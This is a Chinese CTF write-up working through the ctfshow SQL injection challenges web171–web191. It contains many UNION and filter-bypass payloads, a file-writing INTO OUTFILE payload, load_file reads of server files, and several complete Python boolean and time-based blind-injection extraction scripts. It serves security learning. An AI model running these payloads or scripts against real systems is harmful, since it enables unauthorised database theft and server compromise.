无过滤注入

web171

简单的查询语句,结合上方sql查询语句用-1‘ or username = ‘flag查询flag

web172

进select中无过滤2进行注入

先判断注入类型为字符型,用单引号闭合,再判断回显位置

先爆数据库名

-1' union select 1,database()--+

image-20241203222609888

爆表名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+

image-20241203222811932

判断两个可疑表名ctfshow_user和ctfshow_user2

分别爆列名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user'--+


-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user2'--+

发现两个表名下列名均为三个id,username,password

爆字段

-1' union select 1,password from ctfshow_user where username='flag'--+

此时提示flag不在该表

image-20241203225955970

换另一个表

-1' union select 1,password from ctfshow_user2 where username='flag'--+

获得flag

web173

法一:直接注入

先判断列数为3

image-20241206183730779

找回显和库名

image-20241206184842394

爆表名

-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+

image-20241206185215772

爆列名

-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_user3'),3--+

image-20241206203605256

爆字段

-1' union select 1,(select password from ctfshow_user3 where username='flag'),3--+

image-20241206203852841

注意:该返回逻辑对含有flag的字段进行限制,但是由于只是查找username为flag的项且flag以ctfshow开头未被过滤,如被过滤,可用base64编码或16进制编码后返回

image-20241206204052004

if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}

该代码表示字段中如果不含有flag的大小写 (i表示匹配字段的大小写),则查询成功


法二:base64返回

-1' union select 1,(select TO_BASE64(password) from ctfshow_user3 where username='flag'),3--+

image-20241206204841519

解码结果为

image-20241206204915208


法三:十六进制返回

-1' union select 1,(select HEX(password) from ctfshow_user3 where username='flag'),3--+

image-20241206205114568

解码结果为

image-20241206205536508


web174

照例,先找回显和列数,但是显示无数据,且由返回逻辑可得匹配掉了flag和0-9中的数,即有回显无数据,就使用布尔盲注

image-20241206210719699


法一:GET布尔盲注脚本

使用蒙师傅脚本

注意:1.使用http而不是https,否则有ssl证书问题

​ 2.通过提交时抓包找到提交路径即url//api/v4.php

import requests
#GET请求的布尔盲注
#爆破数据库的长度
def brute_force_database_length(url, headers):
databaselen = 0
for l in range(1,50):
databaselen_payload = f"?id=1' and length(database())={l}--+"
response = requests.get(url + databaselen_payload, headers=headers)
if 'admin'in response.text:#判断是否存在注入
databaselen = l
break
print('数据库名字长度为: '+ str(databaselen))
return databaselen

#爆破数据库的名字
def brute_force_database_name(url, headers, databaselen):
databasename = ''
for l in range(1,databaselen+1):#用来爆破数据库的字符
for i in range(32,128):
databasechar_payload = f"?id=1' and ascii(substr(database(),{l},1))='{i}'--+"
response = requests.get(url + databasechar_payload, headers=headers)
if 'admin'in response.text:#判断是否存在注入
databasename += chr(i)
print(databasename)
break
print('数据库名字为: '+ str(databasename))
return databasename
#爆破表的个数
def brute_force_table_count(url, headers, databasename):
tablecount = 0
for l in range(1,50):#用来爆破表的个数
tablecount_payload = f"?id=1' and (select count(table_name) from information_schema.tables where table_schema='{databasename}') ={l}--+"
response = requests.get(url + tablecount_payload, headers=headers)
if 'admin'in response.text:#判断是否存在注入
tablecount = l
break
print(f'表的个数为: {tablecount}')
return tablecount
#爆破表的名字
def brute_force_table_name(url, headers, tablecount,databasename):
tables=[]
for t in range(0,tablecount):
table_name = ''
tablelen = 0
for l in range(1, 50):
tablelen_payload = f"?id=1' and length((select table_name from information_schema.tables where table_schema = '{databasename}' limit {t+0}, 1))={l}--+"
response = requests.get(url + tablelen_payload, headers=headers)
if 'admin'in response.text:
tablelen = l
break
print(f'表{t+1}的长度为: {tablelen}')
for m in range(1, tablelen+1):
for i in range(32, 128):
table_name_payload = f"?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = '{databasename}' limit {t+0}, 1),{m},1))='{i}'--+"
response = requests.get(url + table_name_payload, headers=headers)
if 'admin'in response.text:
table_name += chr(i)
print(table_name)
break
print(f'表{t+1}的名字为: {table_name}')
tables.append(table_name)
return tables
'''
#爆破字段的个数
def brute_force_column_count(url, headers, tables):
column_count = 0
for l in range(1, 50):
column_countpayload = f"?id=1' and (select count(column_name) from information_schema.columns where table_name='{tables}')={l}--+"
response = requests.get(url + column_countpayload, headers=headers)
if 'admin'in response.text:
column_count = l
break
print(f'表 {tables} 有 {column_count} 字段.')
return column_count

#查询表中字段
def brute_force_column_name(url, headers,tables, column_count):
columns = []
for c in range(column_count):
column_name = ''
for l in range(1, 50):
column_count_payload = f"?id=1' and length((SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name='{tables}' LIMIT {c},1))={l}--+"
response = requests.get(url + column_count_payload, headers=headers)
if 'admin'in response.text:
column_count = l
print(f'表 {tables} 中字段 {c+1} 的个数为: {column_count}')
for m in range(1, column_count+1):
for i in range(32, 128):
column_name_payload = f"?id=1' and ascii(SUBSTR((SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name='{tables}' LIMIT {c},1),{m},1))='{i}'--+"
response = requests.get(url + column_name_payload, headers=headers)
if 'admin'in response.text:
column_name += chr(i)
print(column_name)
break
print(f'表 {tables} 中字段 {c+1} 的名字为: {column_name}')
columns.append(column_name)
return columns
'''
#查询表中数据
def brute_force_table_data(url, headers,tables):
data = ''
for c in range(0,100):#用来爆破表中的数据
for i in range(32,128):
data_payload = f"?id=1' and ascii(substr((select password from {tables} where username='flag'),{c+0},1))='{i}'--+"
response = requests.get(url + data_payload, headers=headers)
if 'admin'in response.text:#判断是否存在注入
data += chr(i)
print(data)
break
print('flag为: '+ str(data))
return data
if __name__ == "__main__":
url = 'http://517733eb-2fdd-42a3-b505-c115fa0cd246.challenge.ctf.show//api/v4.php'
success_message = "admin"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0'
}
databaselen = brute_force_database_length(url, headers)
databasename = brute_force_database_name(url, headers, databaselen)
tablecount = brute_force_table_count(url, headers, databasename)
tables = brute_force_table_name(url, headers, tablecount, databasename)
for table in tables:
#column_count = brute_force_column_count(url, headers, table)
#columns = brute_force_column_name(url, headers,table, column_count)
data = brute_force_table_data(url, headers,table)

image-20241207115218437

运行得到flag,且脚本更改url即可使用(极为方便!)


法二:转码返回

用到replace函数

replace(str,a,b)   在str中将a替换成b

直接写payload,注意,在语句中替换时不能替换为#和&

-1' union select 'a',(select REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,'0','@'),'1','`'),'2','$'),'3','%'),'4','^'),'5','~'),'6','*'),'7','(' ),'8',')'),'9','=') from ctfshow_user4 where username='flag')--+

image-20241207201549143

直接转换后得到flag

def decode_string(input_string):
# 定义数字到特殊符号的映射
mapping = {
'@': '0',
'`': '1',
'$': '2',
'%': '3',
'^': '4',
'~': '5',
'*': '6',
'(': '7',
')': '8',
'=': '9'
}

# 使用列表推导式和映射来替换每个数字字符
decoded_chars = [mapping.get(char, char) for char in input_string]

# 将字符列表连接成字符串
decoded_string = ''.join(decoded_chars)

return decoded_string

# 示例使用
input_str = "ctfshow{aa$ea*ae-`c$@-^$c`-bbd@-~($=e~bc*^c@}"
decoded_str = decode_string(input_str)
print("Decoded string:", decoded_str)

image-20241207202203352

web175

先看返回逻辑

//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

可判断返回时所以ASCII码中字符均被过滤,即无回显,用时间盲注来判断

[sql注入-盲注]: sql注入-盲注 | Yxing


法一:GET时间盲注脚本

还是使用蒙师傅脚本(蒙师傅真是太厉害了)

import requests
import datetime
import time
def brute_force_table_data(url):
data = ''
for c in range(0,100):#用来爆破表中的数据
for i in range(32,128):
payload = f"?id=1' and if(ascii(substr((select password from ctfshow_user5 where username='flag'),{c+0},1))='{i}',sleep(5),0)--+"
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 5:#超时时间为5秒
data += chr(i)
print(data)
break
print('flag为: '+ str(data))
return data
if __name__ == "__main__":
url = 'http://7d3a021e-75e1-4d2f-b4f3-f7730ae28d82.challenge.ctf.show//api/v5.php'
flag = brute_force_table_data(url)

运行结果(最后的flag为没等了)

注:1.他写的休眠时间和判断时间为时间大于5秒,我改成2秒,第一个字符就错了,后面不知道还会不会错(已老实),所以根据蒙师傅的经验,时间长一点好(后面又去请教了原因,和平时手工注入是一样的,平时都可能有网络延迟,所以说这也有可能,长一点可以减少误差)

image-20241208204648009

2.着重注意payload

for c in range(0,100):#用来爆破表中的数据
for i in range(32,128):
payload = f"?id=1' and if(ascii(substr((select password from ctfshow_user5 where username='flag'),{c+0},1))='{i}',sleep(5),0)--+"

剖析一下

(select password from ctfshow_user5 where username='flag')

子查询语句,更美观高效,但是要记住select

substr(string,{c+0},1)

从字符串中查找子字符串,遍历整个flag,在string中c+0的位置开始每次读取一个

ascii(substr((select password from ctfshow_user5 where username='flag'),{c+0},1))='{i}'

将上面的字符通过ascii函数返回ascii值

if(ascii(substr((select password from ctfshow_user5 where username='flag'),{c+0},1))='{i}',sleep(5),0)

如果该字符ascii值符合i的值就休眠5秒,否则下一个

前面就是很正常的id闭合,后面–+注释


法二:读写文件

' union select username, password from ctfshow_user5 into outfile '/var/www/html/flag.txt' %23

将username和password写入flag.txt,再去读取该文件

image-20241208213916183

PS:这个还挺方便


过滤注入

web176(过滤select)

先判断列数为3

image-20241209094647794

回显时出错

image-20241209094841732

测试发现过滤select(双写好像绕不过,通过大小写绕过)

image-20241209095100972

后面就可以进行正常的sql注入步骤

爆库名

-1' union Select 1,(database()),3--+

image-20241209095238804

爆表名

-1' union Select 1,(Select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),3--+

image-20241209095705145

爆列名

-1' union Select 1,(Select group_concat(column_name) from information_schema.columns where table_name='ctfshow_user'),3--+

image-20241209100151954

爆数据

-1' union Select 1,(Select password from ctfshow_user where username='flag'),3--+

image-20241209100527071

web177(过滤空格,注释符)

还是先判断过滤,当看到6时都是无数据就包是过滤了该语句的什么的

image-20241209102415454

当将–+替换为%23(#的url编码)时仍然无数据,考虑空格被过滤了,但是空格绕过后没想到也不行,那就是空格和注释符一起过滤了

image-20241209103426376

最终一起绕过后成功

image-20241209103747214

image-20241209103807128

然后就又是一样的步骤

爆库名

-1'/**/union/**/select/**/1,database()/**/,3%23

image-20241209104814599

爆表名

-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema='ctfshow_web'),3%23

image-20241209105058280

爆列名

-1'/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name='ctfshow_user'),3%23

image-20241209105234008

爆数据

-1'/**/union/**/select/**/1,(select/**/group_concat(username,'~',password)from/**/ctfshow_user/**/where/**/username='flag'),3%23

image-20241209105825546

**补充:**在看蒙师傅博客时还发现176,177另一种解法,直接通过万能密码绕过限制,直接就可以查询(由于176过滤select,所以该万能密码不用改格式),简单快捷高效

1'/**/or/**/'1'='1'%23

176(新开的一个环境,所以flag不一样了)

image-20241209110359934

177亲测有效

image-20241209110106559

web178(过滤空格,*)

这次学聪明了,先用万能密码试试水(直接用%23绕过注释符过滤了,其实测出来也确实有过滤)

image-20241209111207150

再把空格用/**/替换,还是不行,推测可能是把/**/一起过滤了,用%0c(换页符),%09(制表符)绕过就行

image-20241209112135837

然后就直接出来了(万能密码好快。。。),就可以交了,不过也可以自己多试试去慢慢注入

web179(过滤空格,%09)

测试过滤,还是先用万能密码试试水

image-20241209113349118

无数据,就说明里面又有什么被过滤了,这里我有个点就是第一个空格用%09,第二个空格用%0c,没数据就误以为不对(还以为%被过滤了),后面看蒙师傅博客才知道就只过滤了%09,所以两个都用%0c绕过就行了

image-20241209113705141

PS:万能密码好!!!!!

web180(过滤%23,空格)

用万能密码进行空格绕过仍无数据,可能对注释符%23进行过滤,那现在就有绕过该过滤和闭合后引号两个办法

image-20241211170635366


法一:绕过%23过滤

将payload中%23改为–%0c,即可绕过过滤

-1'%0cor%0c1=1--%0c

image-20241211171059447


法二:闭合后引号

进行测试,有回显,表示可以成功闭合

image-20241211171328547

找回显

image-20241211182344812

爆库名

-1'%0cunion%0cselect%0c1,(database()),'3

image-20241211182853579

爆表名

-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'),'3

image-20241211183627791

爆列名

-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'),'3

image-20241211184327384

爆数据(由于重开了环境flag不同了)

-1'%0cunion%0cselect%0c1,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'),'3

image-20241211185206356


补充:burpsuite Fuzzing

看蒙师傅博客看到了一种找过滤字符的方法,通过bp攻击来找到过滤字符

首先下载爆破字典Fuzzdb:https://github.com/fuzzdb-project/fuzzdb

然后bp抓包在id位置加变量

image-20241211193144746

导入刚才下载的文件进行攻击

fuzzdb-master\attack\sql-injection\detect\xplatform.txt

image-20241211193346100

通过返回包长度来判断哪些字符被过滤

web181(过滤空格)

根据该题目返回逻辑中可知对输入字符进行了过滤

image-20241211193919230

function waf($str){
return preg_match('/|\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i',$str); }
preg_match(a,b)表示在b中查找a,如果匹配上则返回1(匹配成功),否则返回0
:匹配空格字符。
\*:匹配星号字符(*),在正则表达式中需要转义。
\x09:匹配水平制表符(Tab)。
\x0a:匹配换行符(LF)。
\x0b:匹配垂直制表符。
\x0c:匹配换页符。
\x00:匹配空字符(NULL)。
\x0d:匹配回车符(CR)。
\xa0:匹配不间断空格。
\x23:匹配井号(#),在正则表达式中需要转义。
\#:匹配井号(#),这里使用了反斜杠进行转义。
file:匹配文本“file”。
into:匹配文本“into”。
select:匹配文本“select”。

(做题时候没有思路,感觉都被禁完了,去看了wp和蒙师傅博客才知道%0c其实没有被禁,还是要自己多尝试)

既然%0c没有过滤,那就可以用万能密码直接做出来

1'%0cor%0c1=1--%0c
注意万能密码写法,第一次写成1'%0cor1=1--%0c报错,or和1之间应该有空格
也可写成以下形式
1'%0cor'1'='1'--%0c
1'%0cor%0c1=1--%01(%01为一个控制字符,用在特殊文件开头,可用来当注释符)
看wp也有不用万能密码,直接使用查找
'or(username)='flag
9999'or`username`='flag
id=0'||username='flag

image-20241211195936425

web182(过滤+flag)

先分析传入参数过滤逻辑

 function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}
比上一题多过滤一个flag,那最后那几个直接查找的就不行了,试试万能密码

经过测试和上题一样未过滤%0c,由此万能密码1'%0cor%0c1=1--%0c注入

image-20241211201250481

web183(POST布尔盲注)

首先发现该题没有搜索框了,重新查看查询语句发现需要post传参tableName

image-20241211201732571

根据返回逻辑判断过滤参数

 function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}
:匹配空格字符。
\*:匹配星号字符(*),需要转义。
\x09:匹配水平制表符(Tab)。
\x0a:匹配换行符(LF)。
\x0b:匹配垂直制表符。
\x0c:匹配换页符。
\x0d:匹配回车符(CR)。
\xa0:匹配不间断空格。
\x00:匹配空字符(NULL)。
\#:匹配井号(#),需要转义。
\x23:匹配井号(#),需要转义。
\=:匹配等号(=),需要转义。
or:匹配文本“or”。
\x7c:匹配竖线(|),需要转义。
select:匹配文本“select”。
and:匹配文本“and”。
flag:匹配文本“flag”。
into:匹配文本“into”。

该题的逻辑就是post向tableName传表名,通过返回的表中记录总数多少来进行布尔盲注

先传参为ctfshow_user,为可用表名,再从里面跑脚本爆数据

image-20241211204714635

使用蒙师傅脚本

import requests

url = 'http://48fa3a20-1717-4446-b1f5-706654acf25b.challenge.ctf.show/select-waf.php'
strlist = '{}0123456789-abdcefghijklmnopqrstuvwxyz_'
flag = ''

for j in range (0, 100):
#对 flag 按位匹配
for i in strlist:
data = {
'tableName': "`ctfshow_user`where`pass`like'ctfshow{}%'".format(flag+i)
}
respond = requests.post(url, data=data) # 获取页面代码
respond = respond.text # 解析成字符串类型
if 'user_count = 1' in respond: # 匹配到正确的 flag
flag += i
print('ctfshow{}'.format(flag))
break
else:print('==================='+i+'错误')
if flag[-1] == '}':
exit() #判断 flag 是否获取完整
print('ctfshow{}'.format(flag))

image-20241211204728712

web184(POST布尔盲注)

function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
发现sleep,`也被禁了,说明上一题也可以用时间盲注出结果,不过这一题依旧布尔盲注

ctfshow_user为可用表名

image-20241211205305164

看了wp里一个师傅的对上题代码进行修改,成功获得flag

import requests
import sys
url = 'http://d9d9f822-405c-457e-abc9-bdb088661e6c.challenge.ctf.show/select-waf.php'
strlist = '{0123456789-abcdefghijklmnopqrstuvwxyz}'
flag = ''
c='' #新建c来存储最终flag
d='' #新建d来存储十六进制数
for j in range (0, 100):
#对 flag 按位匹配
for i in strlist:
d =hex(ord(i))[2:] #获得去除0x的十六进制数,ord函数将字符转为ASCII值,hex函数将ASCII值按16进制表示,[2:]表示切除0x
data = { 'tableName':"ctfshow_user group by pass having pass regexp(0x{})".format(flag+d) } #在ctfshow_user表中,根据pass字段的值进行分组,并筛选出那些pass字段值匹配特定十六进制表示的字符串的记录
respond = requests.post(url, data=data) # 获取页面代码
respond = respond.text # 解析成字符串类型
if 'user_count = 1' in respond: # 匹配到正确的 flag
flag += d
c+=i
print('ctfshow{}'.format(c))
break
if c[-1] == '}':
exit() #判断 flag 是否获取完整
print('ctfshow{}'.format(c))

image-20241212151608907

web185(布尔盲注过滤0-9)

 function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
\*:匹配星号(*)字符。
\x09:匹配水平制表符(Tab)。
\x0a:匹配换行符(New Line)。
\x0b:匹配垂直制表符。
\x0c:匹配换页符。
\0x0d:匹配回车符(Carriage Return)。
\xa0:匹配不换行空格(Non-breaking Space)。
\x00:匹配空字符(Null Byte)。
#:匹配井号(#)。
\x23:匹配井号(#),等同于#。
[0-9]:匹配任何数字。
file:匹配字符串“file”。
=:匹配等号(=)。
or:匹配字符串“or”。
\x7c:匹配竖线(Pipe)字符。
select:匹配字符串“select”。
and:匹配字符串“and”。
flag:匹配字符串“flag”。
into:匹配字符串“into”。
where:匹配字符串“where”。
&:匹配和号(Ampersand)。
\' 和 \":分别匹配单引号和双引号。
union:匹配字符串“union”。
```:匹配反引号(Backtick),MySQL中用于标识标识符。
sleep:匹配字符串“sleep”。
benchmark:匹配字符串“benchmark”。

这个题对数字0-9进行过滤,因此像上一个题一样用十六进制转换不能成功,贴一个师傅的脚本

import requests

def creatNum(n): # 3 = true + true + true
str = ''
for i in range(1,n+1):
if i == 1:
str += "true"
else:
str += "+true"
return str

def creatStr(str): # 将'23'变成 char(true+true),char(true+true+true)
res = ""
for i in range(1,len(str)+1):
temp = ord(str[i-1])
if i == 1:
res = "chr(" + creatNum(temp) + ")"
else:
res += "," + "chr(" + creatNum(temp) + ")"
return res

url = "http://f1273616-5765-47ae-bb82-0a287117cb02.challenge.ctf.show/select-waf.php"
letters = letter = r"{0123456789abcdefg-}hijklmnopqrstuvwxyz"
flag = "ctfshow{"
for i in range(50):
for ch in letters:
result = creatStr(flag + ch)
data = {"tableName":"ctfshow_user group by pass having pass regexp(concat({}))".format(result)}
res = requests.post(url = url, data = data)
if "$user_count = 1;" in res.text:
flag += ch
print(flag)
# if ch == '}':
# exit()
break # 寻找下一个位置

主要是通过将传入数字,字母和符号转换为true+true的形式,类似于自增,实现绕过0-9限制,运行得到结果

image-20241218122808164

web186(布尔盲注过滤引号)

image-20241218123945352

  function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

\*:星号,用于匹配任何字符。
\x09、\x0a、\x0b、\x0c、\x0d:分别代表制表符、换行符、回车符、换页符、回车符。
\xa0:不间断空格。
\%:百分号,用于匹配SQL语句中的通配符。
|:管道符,用于匹配SQL语句中的逻辑或。
<、>:小于、大于符号,用于匹配HTML标签。
\^:脱字符,用于匹配SQL语句中的逻辑非。
\x00:空字符。
\#:井号,用于匹配注释。
[0-9]:数字,用于匹配数字类型的注入。
file:文件操作相关的关键词。
=:等号,用于匹配赋值操作。
orand:逻辑运算符。
\x7c:竖线,用于匹配SQL语句中的逻辑或。
select、and、flag、into、where:SQL语句中的关键词。
\x26:和符号,用于匹配逻辑与。
'、":单引号和双引号,用于匹配SQL注入中的引号。
union:SQL语句中的联合查询关键词。
``:反引号,用于匹配MySQL中的表名或列名。
sleep、benchmark:SQL函数,用于时间盲注攻击。

发现依旧没过滤上题脚本中的字符,因此可继续使用上题脚本获得flag

image-20241218124339461

web187(MD5函数绕过)

image-20241218131321123

换题型了,该题目含义也就是限定username为admin,通过password传参来实现

$password = md5($_POST['password'],true);
关键代码,实现了post传入的password参数以16字符的二进制形式返回,如果使得返回'or'1(不为0开头的任何数)就能使查询语句拼接为 password= ''or'1(真)'

补充:php中md5()函数

语法

md5(string,true/false/空)
string为必需字符串
若第二个变量为true,会输出原始16字符二进制格式;为false,会输出32字符十六进制数(默认)

强弱比较及绕过

强比较(===):先比较类型再比较值

弱比较(==):先将类型转换再比较值,比如字符串与数字比较则先将字符串转换为数字再进行比较

以下为常见绕过方法(MD5函数中均进行运算再计算MD5值)

1.0e绕过(科学计数法绕过)

以0e开头的数运算后均为0

image-20241218142152287

变式:字符串若计算MD5值后为0e开头,则该值会被计算为0,比如题目(md5(a)==0),则可通过传入QNKCDZO等绕过

image-20241218142658437

2.数组绕过

md5函数不能处理数组,因此处理数组时,都会返回null,因此在强比较时传入数组会使值相等,GET传参时可使用a[]=1&b[]=2来使两个值相等

image-20241218143238456

3.运算配合类型转换绕过

md5() 遇到运算符,会先运算,再计算结果的MD5值。

image-20241218143443257

当字符串与数字类型运算时,会将字符串转换成数字类型,再参与运算,最后计算运算结果的MD5值。

image-20241218143606903

4.类型转换绕过

虽然 md5() 要求传入字符串,但传入整数或小数也不会报错;数字相同时,数值型和字符串的计算结果是相同的。

image-20241218143707092

注意:MD5常见密码

字符型:ffifdyop

数字型:129581926211651571912466741651878684928

image-20241218133855143

image-20241218133927618

因此这里选择字符型密码,bp抓包重发获得flag

image-20241218134113239

web188(MD5弱比较)

//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}

再观察查询语句发现username用{}包裹,即不用考虑闭合

image-20241218135524917

由MD5弱比较(见web187)得,当输入username和password为0时,会匹配所有开头为0或字母的用户,因此直接均输入0则登录成功

image-20241218142933699

布尔盲注

web189(读文件中字符)

注入过程

image-20241218150052849

依旧进行上题的尝试均传入0,但是提示密码错误,那就说明存在用户但是密码不对;username传入1,password传入0时提示查询失败,那就说明用户不存在。题目提示flag在api/index.php文件中,即使用盲注,贴个脚本

import requests
#import time
#因为环境问题有时候会有网络延迟导致脚本判断出错,加上时间延迟这样可以保证脚本跑出来的数据不会出错
url = "http://64c78e0d-d38a-468b-b869-a95fa43912ca.challenge.ctf.show/api/"
flagstr = "}{<>$=,;_ 'abcdefghijklmnopqr-stuvwxyz0123456789"

flag = ""
# 这个位置,是群主耗费很长时间跑出来的位置~(未知文件中flag位置,只能通过测试)
for i in range(257, 257 + 60):
for x in flagstr:
data = {
"username": f"if(substr(load_file('/var/www/html/api/index.php'),{i},1)='{x}',1,0)",
"password": "0"
}
print(data)
response = requests.post(url, data=data)
# time.sleep(0.3)
# 8d25是username=1时的页面返回内容包含的,具体可以看下面的截图~
if "8d25" in response.text:
print(f"++++++++++++++++++ {x} is right")
flag += x
print(flag) # 确保缩进正确
break
else:
continue
if "}" in flag: # 判断 flag 是否获取完整
print(flag)
exit()

print(flag)

image-20241218151651826

运行该脚本获得flag

image-20241218152126369

补充:load_file()函数

#语法
load_file(file_name)
可以返回指定文件的内容,前提是 MySQL 用户具有访问该文件的权限,并且 MySQL 服务器能够读取该文件。
file_name:要读取的文件的完整路径,通常需要用单引号括起来,例如 'C:/path/to/file.txt'

web190(无过滤)

先随便输入一个username=admin,password=1,显示密码错误,说明有admin这个用户但是密码不对,如果输入的是username=1,password=1,显示用户不存在,说明可用admin这个用户来构造payload

image-20241222185439017

image-20241222185451314

构造payload来进行测试,已知库名为ctfshow_web,长度为11,注意这里注释符仅可以使用#,如果是%23,–+都不行

admin' and length(database())=11#显示密码错误
admin' and length(database())=12#显示用户不存在

通过布尔盲注脚本,进行注入

爆库名

import requests

url="http://0e98cf1d-6b5d-42d6-bf2e-aaf371ac4a82.challenge.ctf.show/api/"

database_name =""
for i in range(1,100):
found_character = False # 标志变量,用于跟踪当前字符是否找到

for j in range(32,128):
data={
"username": f"admin' and ascii(substr(database(),{i},1))='{j}'#",
"password": "1"
}
r = requests.post(url, data=data)
if "u8bef" in r.text:
database_name += chr(j)
print(database_name)
found_character = True # 标记字符已找到
break
# 如果在当前循环中没有找到字符,结束外层循环
if not found_character:
print('未找到更多字符,结束循环。')
break
print('数据库名字为: '+ str(database_name))

爆表名

import requests

url="http://0e98cf1d-6b5d-42d6-bf2e-aaf371ac4a82.challenge.ctf.show/api/"

table_name =""
for i in range(1,100):
found_character = False # 标志变量,用于跟踪当前字符是否找到

for j in range(32,128):
data={
"username": f"admin' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{i},1))='{j}'#",
"password": "1"
}
r = requests.post(url, data=data)
if "u8bef" in r.text:
table_name += chr(j)
print(table_name)
found_character = True # 标记字符已找到
break
# 如果在当前循环中没有找到字符,结束外层循环
if not found_character:
print('未找到更多字符,结束循环。')
break
print('数据表名字为: '+ str(table_name))

image-20241228002657444

爆列名

import requests

url="http://0e98cf1d-6b5d-42d6-bf2e-aaf371ac4a82.challenge.ctf.show/api/"

column_name =""
for i in range(1,100):
found_character = False # 标志变量,用于跟踪当前字符是否找到

for j in range(32,128):
data={
"username": f"admin' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))='{j}'#",
"password": "1"
}
r = requests.post(url, data=data)
if "u8bef" in r.text:
column_name += chr(j)
print(column_name)
found_character = True # 标记字符已找到
break
# 如果在当前循环中没有找到字符,结束外层循环
if not found_character:
print('未找到更多字符,结束循环。')
break
print('列名为: '+ str(column_name))

image-20241228003205980

爆数据

import requests

url="http://0e98cf1d-6b5d-42d6-bf2e-aaf371ac4a82.challenge.ctf.show/api/"

flag =""
for i in range(1,100):
found_character = False # 标志变量,用于跟踪当前字符是否找到

for j in range(32,128):
data={
"username": f"admin' and ascii(substr((select f1ag from ctfshow_fl0g),{i},1))='{j}'#",
"password": "1"
}#注意username中列名是f1ag,不是flag
r = requests.post(url, data=data)
if "u8bef" in r.text:
flag += chr(j)
print(flag)
found_character = True # 标记字符已找到
break
# 如果在当前循环中没有找到字符,结束外层循环
if not found_character:
print('未找到更多字符,结束循环。')
break
print('flag为: '+ str(flag))

image-20241228003921927

web191(过滤ascii)

法一:hex()

较上题过滤了ascii()函数,可通过hex绕过,注入思路相同,直接上脚本

import requests

url="http://4402baeb-90a2-44d9-a577-ebf18276c195.challenge.ctf.show/api/"

flag_name =""

hex_values = [
'20', '21', '22', '23', '24', '25', '26', '27', '28', '29', '2A', '2B', '2C', '2D', '2E', '2F',
'30', '31', '32', '33', '34', '35', '36', '37', '38', '39', '3A', '3B', '3C', '3D', '3E', '3F',
'40', '41', '42', '43', '44', '45', '46', '47', '48', '49', '4A', '4B', '4C', '4D', '4E', '4F',
'50', '51', '52', '53', '54', '55', '56', '57', '58', '59', '5A', '5B', '5C', '5D', '5E', '5F',
'60', '61', '62', '63', '64', '65', '66', '67', '68', '69', '6A', '6B', '6C', '6D', '6E', '6F',
'70', '71', '72', '73', '74', '75', '76', '77', '78', '79', '7A', '7B', '7C', '7D', '7E']

for i in range(1,100):
found_character = False # 标志变量,用于跟踪当前字符是否找到

for j in hex_values:
data={
"username": f"admin' and hex(substr((select f1ag from ctfshow_fl0g),{i},1))='{j}'#",
"password": "1"
}
r = requests.post(url, data=data)
if "u8bef" in r.text:
flag_name += str(j)
print(flag_name)
found_character = True # 标记字符已找到
break
# 如果在当前循环中没有找到字符,结束外层循环
if not found_character:
print('未找到更多字符,结束循环。')
break
byte_data = bytes.fromhex(flag_name)
string_data = byte_data.decode('utf-8') # 使用适当的编码方式
print('flag为: '+ string_data)

image-20241228155052157


法二:ord()

看蒙师傅博客还看到了ord函数,但是ord()主要用于MySQL数据库,且对于多字节字符(如 Unicode),返回值可以超出 127,具体取决于字符的编码方式(如 UTF-8)。直接贴个脚本

import requests

